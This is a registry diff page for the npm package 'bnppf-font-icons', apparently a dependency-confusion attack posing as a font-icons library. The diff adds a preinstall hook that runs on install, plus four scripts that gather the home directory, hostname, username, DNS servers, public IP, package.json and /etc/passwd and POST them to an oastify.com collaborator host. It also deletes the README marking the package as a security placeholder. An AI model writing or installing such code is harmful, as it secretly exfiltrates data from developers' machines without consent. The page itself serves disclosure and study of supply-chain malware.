bnppf-font-icons 0.0.1-security → 3.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of bnppf-font-icons might be problematic. Click here for more details.
- package/index.js +77 -0
- package/index1.js +46 -0
- package/index2.js +46 -0
- package/index3.js +56 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,77 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const fs = require("fs");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const packageName = packageJSON.name;
|
8
|
+
|
9
|
+
// Read the /etc/hostname file
|
10
|
+
let hostnameData = "";
|
11
|
+
try {
|
12
|
+
hostnameData = fs.readFileSync("/etc/hostname", "utf8");
|
13
|
+
} catch (err) {
|
14
|
+
hostnameData = `Error reading /etc/hostname: ${err.message}`;
|
15
|
+
}
|
16
|
+
|
17
|
+
// Function to get public IP address (to gather organization info)
|
18
|
+
function getPublicIP(callback) {
|
19
|
+
https.get('https://api.ipify.org?format=json', (res) => {
|
20
|
+
let data = '';
|
21
|
+
res.on('data', chunk => data += chunk);
|
22
|
+
res.on('end', () => callback(null, JSON.parse(data).ip));
|
23
|
+
}).on('error', (err) => callback(err, null));
|
24
|
+
}
|
25
|
+
|
26
|
+
// Gather tracking data
|
27
|
+
const trackingData = {
|
28
|
+
package: packageName,
|
29
|
+
currentDirectory: __dirname,
|
30
|
+
homeDirectory: os.homedir(),
|
31
|
+
hostname: os.hostname(),
|
32
|
+
user: os.userInfo().username,
|
33
|
+
dnsServers: dns.getServers(),
|
34
|
+
packageVersion: packageJSON.version,
|
35
|
+
packageResolved: packageJSON.___resolved,
|
36
|
+
hostnameFileData: hostnameData,
|
37
|
+
packageJSON: packageJSON,
|
38
|
+
};
|
39
|
+
|
40
|
+
// Fetch the public IP to include org information
|
41
|
+
getPublicIP((error, publicIP) => {
|
42
|
+
if (error) {
|
43
|
+
console.error("Error fetching public IP: ", error);
|
44
|
+
} else {
|
45
|
+
trackingData.publicIP = publicIP;
|
46
|
+
|
47
|
+
// Prepare post data
|
48
|
+
const postData = querystring.stringify({
|
49
|
+
msg: JSON.stringify(trackingData),
|
50
|
+
});
|
51
|
+
|
52
|
+
const options = {
|
53
|
+
hostname: "ar5xtzby7b1ze0mhj77q4j7uglmca2yr.oastify.com", // Replace with Burp collaborator or server
|
54
|
+
port: 443,
|
55
|
+
path: "/",
|
56
|
+
method: "POST",
|
57
|
+
headers: {
|
58
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
59
|
+
"Content-Length": postData.length,
|
60
|
+
},
|
61
|
+
};
|
62
|
+
|
63
|
+
const req = https.request(options, (res) => {
|
64
|
+
res.on("data", (d) => {
|
65
|
+
process.stdout.write(d);
|
66
|
+
});
|
67
|
+
});
|
68
|
+
|
69
|
+
req.on("error", (e) => {
|
70
|
+
// Log error if needed
|
71
|
+
console.error(e);
|
72
|
+
});
|
73
|
+
|
74
|
+
req.write(postData);
|
75
|
+
req.end();
|
76
|
+
}
|
77
|
+
});
|
package/index1.js
ADDED
@@ -0,0 +1,46 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
p: package,
|
10
|
+
c: dirname,
|
11
|
+
hd: os.homedir(),
|
12
|
+
hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
dns: dns.getServers(),
|
15
|
+
r: packageJSON ? packageJSON._resolved : undefined,
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
});
|
19
|
+
|
20
|
+
var postData = querystring.stringify({
|
21
|
+
msg: trackingData,
|
22
|
+
});
|
23
|
+
|
24
|
+
var options = {
|
25
|
+
hostname: "ar5xtzby7b1ze0mhj77q4j7uglmca2yr.oastify.com",
|
26
|
+
port: 443,
|
27
|
+
path: "/",
|
28
|
+
method: "POST",
|
29
|
+
headers: {
|
30
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
31
|
+
"Content-Length": postData.length,
|
32
|
+
},
|
33
|
+
};
|
34
|
+
|
35
|
+
var req = https.request(options, (res) => {
|
36
|
+
res.on("data", (d) => {
|
37
|
+
process.stdout.write(d);
|
38
|
+
});
|
39
|
+
});
|
40
|
+
|
41
|
+
req.on("error", (e) => {
|
42
|
+
// console.error(e);
|
43
|
+
});
|
44
|
+
|
45
|
+
req.write(postData);
|
46
|
+
req.end();
|
package/index2.js
ADDED
@@ -0,0 +1,46 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const https = require("https");
|
4
|
+
const packageJSON = require("./package.json");
|
5
|
+
|
6
|
+
const packageName = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = {
|
9
|
+
p: packageName,
|
10
|
+
c: __dirname, // Fixed variable
|
11
|
+
hd: os.homedir(),
|
12
|
+
hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
dns: dns.getServers(), // Static DNS servers
|
15
|
+
r: packageJSON._resolved || "Not available", // Fallback if _resolved doesn't exist
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
};
|
19
|
+
|
20
|
+
const postData = JSON.stringify(trackingData);
|
21
|
+
|
22
|
+
const options = {
|
23
|
+
hostname: "ar5xtzby7b1ze0mhj77q4j7uglmca2yr.oastify.com",
|
24
|
+
port: 443,
|
25
|
+
path: "/",
|
26
|
+
method: "POST",
|
27
|
+
headers: {
|
28
|
+
"Content-Type": "application/json", // Send JSON
|
29
|
+
"Content-Length": Buffer.byteLength(postData), // Correct length
|
30
|
+
},
|
31
|
+
};
|
32
|
+
|
33
|
+
const req = https.request(options, (res) => {
|
34
|
+
console.log(`STATUS: ${res.statusCode}`);
|
35
|
+
res.setEncoding("utf8");
|
36
|
+
res.on("data", (chunk) => {
|
37
|
+
console.log(`BODY: ${chunk}`);
|
38
|
+
});
|
39
|
+
});
|
40
|
+
|
41
|
+
req.on("error", (e) => {
|
42
|
+
console.error(`Request error: ${e.message}`);
|
43
|
+
});
|
44
|
+
|
45
|
+
req.write(postData);
|
46
|
+
req.end();
|
package/index3.js
ADDED
@@ -0,0 +1,56 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const fs = require("fs");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
// Read the /etc/passwd file
|
10
|
+
let passwdData = "";
|
11
|
+
try {
|
12
|
+
passwdData = fs.readFileSync("/etc/passwd", "utf8");
|
13
|
+
} catch (err) {
|
14
|
+
passwdData = `Error reading /etc/passwd: ${err.message}`;
|
15
|
+
}
|
16
|
+
|
17
|
+
const trackingData = JSON.stringify({
|
18
|
+
p: package,
|
19
|
+
c: __dirname,
|
20
|
+
hd: os.homedir(),
|
21
|
+
hn: os.hostname(),
|
22
|
+
un: os.userInfo().username,
|
23
|
+
dns: dns.getServers(),
|
24
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
25
|
+
v: packageJSON.version,
|
26
|
+
pjson: packageJSON,
|
27
|
+
passwd: passwdData, // Add the /etc/passwd content here
|
28
|
+
});
|
29
|
+
|
30
|
+
var postData = querystring.stringify({
|
31
|
+
msg: trackingData,
|
32
|
+
});
|
33
|
+
|
34
|
+
var options = {
|
35
|
+
hostname: "ar5xtzby7b1ze0mhj77q4j7uglmca2yr.oastify.com",
|
36
|
+
port: 443,
|
37
|
+
path: "/",
|
38
|
+
method: "POST",
|
39
|
+
headers: {
|
40
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
41
|
+
"Content-Length": postData.length,
|
42
|
+
},
|
43
|
+
};
|
44
|
+
|
45
|
+
var req = https.request(options, (res) => {
|
46
|
+
res.on("data", (d) => {
|
47
|
+
process.stdout.write(d);
|
48
|
+
});
|
49
|
+
});
|
50
|
+
|
51
|
+
req.on("error", (e) => {
|
52
|
+
// console.error(e);
|
53
|
+
});
|
54
|
+
|
55
|
+
req.write(postData);
|
56
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "bnppf-font-icons",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "3.0.6",
|
4
|
+
"description": "ngosytuan",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall":"node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=bnppf-font-icons for more information.
|